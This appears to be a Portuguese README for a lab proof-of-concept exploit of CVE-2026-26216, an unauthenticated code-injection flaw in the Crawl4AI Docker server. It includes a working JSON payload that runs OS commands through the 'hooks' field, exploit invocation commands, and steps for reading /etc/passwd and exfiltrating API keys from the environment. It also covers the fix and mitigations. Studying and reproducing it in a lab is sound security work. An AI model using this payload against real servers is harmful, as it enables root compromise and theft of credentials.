Share
## https://sploitus.com/exploit?id=83765ED6-017D-5A19-902A-A0BE07B57038
# CVE-2026-26216 — Crawl4AI unauthenticated RCE via `hooks` (GHSA-5882-5rx9-xgxp)

> **CVSS 10.0** · pre-auth RCE · CWE-94 (Code Injection)
> Execução remota de código **não autenticada** no servidor Docker do
> **Crawl4AI** ( `POST /crawl`. Um único JSON no POST executa Python **como root** dentro do
> container.

Esta é uma **PoC de laboratório**, auto-contida e reproduzível, para pesquisa
de segurança e fins educacionais.

---

## A vulnerabilidade em uma frase

O endpoint `POST /crawl` aceita **código Python arbitrário** no campo
`hooks.code.`. Esse código é executado com `exec()` dentro de um
"sandbox caseiro" — um dicionário de builtins restrito. Só que **`__import__`
foi deixado na allowlist**, o que permite `__import__('os').system(...)` e
derrota o sandbox inteiro.

```
POST /crawl
{
  "urls": ["https://example.com"],
  "hooks": {
    "code": {
      "on_page_context_created":
        "async def hook(page, context, **kwargs):\n    __import__('os').system('id')\n    return page"
    }
  }
}
```

Como o deploy oficial roda com **JWT desligado por padrão** e o container roda
como **root**, o resultado é RCE root, pré-autenticação.

### Por que é a lição perfeita sobre "sandbox caseiro em ferramenta de IA"

O sandbox *parece* funcionar: `open`, `eval`, `exec` foram removidos, então um
ataque ingênuo (`open('/etc/passwd')`) **é bloqueado**. Isso cria uma falsa
sensação de segurança. Mas basta **um** builtin perigoso esquecido
(`__import__`) para importar a stdlib inteira (`os`, `subprocess`, `socket`) e
o allowlist vira decoração. Allowlist de builtins **não é** um sandbox.

---

## Estrutura do projeto

```
CVE-2026-26216/
├── README.md
├── docker-compose.yml         # sobe o servidor vulnerável
├── vulnerable-app/
│   ├── Dockerfile             # imagem que roda como root (igual à oficial)
│   ├── requirements.txt
│   ├── server.py              # FastAPI: POST /crawl sem auth
│   └── hook_manager.py        # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
    └── exploit.py             # exploit Python (só stdlib)
```

> **Nota de fidelidade.** `vulnerable-app/` é uma **reprodução enxuta** do
> caminho de código vulnerável do Crawl4AI (não abre Chromium/Playwright), para
> a PoC ser leve e 100% reproduzível. O comportamento do sandbox e a estrutura
> do payload espelham a advisory oficial GHSA-5882-5rx9-xgxp. A linha
> vulnerável está marcada em `vulnerable-app/hook_manager.py`.

---

## Como rodar

```bash
# 1. sobe o alvo
docker compose up -d --build

# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo

# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"

# 4. derruba
docker compose down -v
```

---

## O que o exploit demonstra

| # | Ação | Impacto |
|---|------|---------|
| 1 | `open('/etc/passwd')` direto | **Bloqueado** pelo sandbox (falsa segurança) |
| 2 | `__import__('subprocess')` + `id`/`whoami` | RCE **como root** |
| 3 | `cat /etc/passwd` via shell | Leitura arbitrária de arquivos |
| 4 | `env \| grep KEY` | Exfiltração de **API keys** / tokens |
| 5 | `echo ... > /tmp/PWNED` | Escrita arbitrária de arquivos |

A partir daí: pivô para a rede interna, roubo de credenciais de nuvem,
persistência, etc.

---

## Impacto

- **Confidencialidade:** roubo de `OPENAI_API_KEY`, tokens internos, secrets do container.
- **Integridade:** escrita/alteração de arquivos, backdoors.
- **Disponibilidade:** kill de processos, wipe de dados.
- **Lateral:** o container geralmente tem acesso à rede interna → pivô.

Tudo isso **sem autenticação**.

---

## Correção

Corrigido no **Crawl4AI 0.8.0**:

- `__import__` (e `eval`/`exec`/`open`) **removidos** dos builtins permitidos.
- Hooks **desativados por padrão** — opt-in explícito via
  `CRAWL4AI_HOOKS_ENABLED=true`.

**Mitigações gerais:**

- Atualize para `crawl4ai >= 0.8.0`.
- Nunca exponha o servidor Crawl4AI diretamente na internet; habilite JWT.
- Não rode o container como root; use usuário não-privilegiado e read-only FS.
- Trate "allowlist de builtins" como o que é: **não é um sandbox**. Para
  executar código não confiável, use isolamento real (gVisor, microVM,
  processo separado sem rede/FS, seccomp).

---

## Referências

- [GitHub Advisory — GHSA-5882-5rx9-xgxp](https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp)
- [GitHub Advisory Database](https://github.com/advisories/GHSA-5882-5rx9-xgxp)
- [Corgea — CVE-2026-26216](https://corgea.com/advisories/vulnerabilities/CVE-2026-26216)
- [GitLab Advisory Database](https://advisories.gitlab.com/pkg/pypi/crawl4ai/CVE-2026-26216/)
- [miggo.io — GHSA-5882-5rx9-xgxp](https://www.miggo.io/vulnerability-database/cve/GHSA-5882-5rx9-xgxp)

---

## Aviso legal

Material para **pesquisa de segurança autorizada e educação**. Use apenas em
sistemas que você possui ou tem permissão explícita por escrito para testar.